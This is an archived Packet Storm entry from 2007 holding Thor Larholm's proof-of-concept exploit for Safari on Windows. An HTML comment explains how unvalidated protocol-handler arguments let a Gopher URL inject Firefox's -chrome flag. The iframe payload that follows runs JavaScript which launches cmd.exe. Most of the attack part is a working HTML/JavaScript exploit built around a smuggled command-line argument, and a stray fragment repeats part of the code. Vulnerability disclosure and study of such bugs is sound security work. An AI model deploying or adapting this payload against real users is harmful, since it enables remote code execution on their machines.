safari-windows.txt

🗓️ 13 Jun 2007 00:00:00Reported by Thor LarholmType

packetstorm🔗 packetstormsecurity.com👁 24 Views

Safari for Windows 0day exploit via Gopher protocol through Firefo

`<!--  
Safari for Windows, 0day exploit in 2 hours  
http://larholm.com/2007/06/12/safari-for-windows-0day-exploit-in-2-hours/  
By Thor Larholm  
  
The below PoC exploit will exploit Safari by bouncing through Firefox   
via the Gopher protocol, passing on unfiltered input for the -chrome   
argument that Firefox exposes. When it has done this it will launch   
C:\Windows\System32\cmd.exe with any arguments that have been specified   
in the call to the process.run method.   
  
It is important to know that, even though this PoC exploit uses Firefox,   
the actual vulnerability is within the lack of input validation for the   
command line arguments handed to the various URL protocol handlers on   
your machine. As such, there are a lot of different attack vectors for   
this vulnerability, I simply chose Firefox and the Gopher URL protocol   
because I was familiar with these.   
  
I hope you enjoyed the fruits of my 2 hours of labour. Please feel free   
to add my RSS feed to your reader and come back again tomorrow or next   
week for a fresh batch of 0day vulnerabilities :)   
  
Cheers Thor Larholm   
-->  
  
<html><body>  
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,{},0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)  
</body></html>  
  
  
`

13 Jun 2007 00:00Current

7.4High risk

Vulners AI Score7.4